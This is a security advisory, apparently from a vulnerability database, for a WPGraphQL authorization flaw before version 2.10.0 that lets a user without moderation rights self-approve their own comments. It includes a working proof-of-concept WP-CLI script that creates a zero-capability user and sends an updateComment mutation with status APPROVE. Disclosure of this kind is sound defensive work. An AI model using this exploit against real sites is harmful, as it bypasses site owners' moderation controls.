Prior to version 2.10.0, an authorization flaw in updateComment allows an authenticated low-privileged user (including a custom role with zero capabilities) to change moderation status of their own comment (for example to APPROVE) without the moderate_comments capability. This can bypass moderation workflows and let untrusted users self-approve content. Version 2.10.0 contains a patch.\n\n### Details\n\nIn WPGraphQL 2.9.1 (tested), authorization for updateComment is owner-based, not field-based:\n\n- plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 allows moderators.\n- plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 also allows the comment owner, even if they lack moderation capability.\n- plugins/wp-graphql/src/Data/CommentMutation.php:94:94 maps GraphQL input status directly to WordPress comment_approved.\n- plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persists that value via wp_update_comment.\n- plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 exposes moderation states (APPROVE, HOLD, SPAM, TRASH).\n\nThis means a non-moderator owner can submit status during update and transition moderation state.\n\n### PoC\n\nTested in local wp-env (Docker) with WPGraphQL 2.9.1.\n\n1. Start environment:\n\n npm install\n npm run wp-env start\n\n2. Run this PoC:\n\n```\n npm run wp-env run cli -- wp eval '\n add_role(\"no_caps\",\"No Caps\",[]);\n $user_id = username_exists(\"poc_nocaps\");\n if ( ! $user_id ) {\n $user_id = wp_create_user(\"poc_nocaps\",\"Passw0rd!\",\"poc_nocaps@example.com\");\n }\n $user = get_user_by(\"id\",$user_id);\n $user-\u003eset_role(\"no_caps\");\n\n $post_id = wp_insert_post([\n \"post_title\" =\u003e \"PoC post\",\n \"post_status\" =\u003e \"publish\",\n \"post_type\" =\u003e \"post\",\n \"comment_status\" =\u003e \"open\",\n ]);\n\n $comment_id = wp_insert_comment([\n \"comment_post_ID\" =\u003e $post_id,\n \"comment_content\" =\u003e \"pending comment\",\n \"user_id\" =\u003e $user_id,\n \"comment_author\" =\u003e $user-\u003edisplay_name,\n \"comment_author_email\" =\u003e $user-\u003euser_email,\n \"comment_approved\" =\u003e \"0\",\n ]);\n\n wp_set_current_user($user_id);\n\n $result = graphql([\n \"query\" =\u003e \"mutation U(\\$id:ID!){ updateComment(input:{id:\\$id,status:APPROVE}){ success comment{ databaseId status } } }\",\n \"variables\" =\u003e [ \"id\" =\u003e (string)$comment_id ],\n ]);\n\n echo wp_json_encode([\n \"role_caps\" =\u003e array_keys(array_filter((array)$user-\u003eallcaps)),\n \"status\" =\u003e $result[\"data\"][\"updateComment\"][\"comment\"][\"status\"] ?? null,\n \"db_comment_approved\" =\u003e get_comment($comment_id)-\u003ecomment_approved ?? null,\n \"comment_id\" =\u003e $comment_id\n ]);\n '\n```\n\n3. Observe result:\n\n- role_caps is empty (or no moderate_comments)\n- mutation returns status: APPROVE\n- DB value becomes comment_approved = 1\n\n### Impact\n\nThis is an authorization bypass / broken access control issue in comment moderation state transitions. Any deployment using WPGraphQL comment mutations where low-privileged users can make comments is impacted. Moderation policy can be bypassed by self-approving content." affected: [{"versions":[{"version":"\u003c 2.10.0","status":"affected"}],"vendor":"wp-graphql","product":"wp-graphql"}] ## Licenças e atribuição das fontes CISA Known Exploited Vulnerabilities: https://www.cisa.gov/known-exploited-vulnerabilities-catalog (US government work) GitHub Advisory Database: https://github.com/advisories (CC BY 4.0) Have I Been Pwned: https://haveibeenpwned.com/ (CC BY 4.0) CVE Program (CVE records): https://www.cve.org/Legal/TermsOfUse (CVE Terms of Use) Copyright © 1999-2026, The MITRE Corporation.
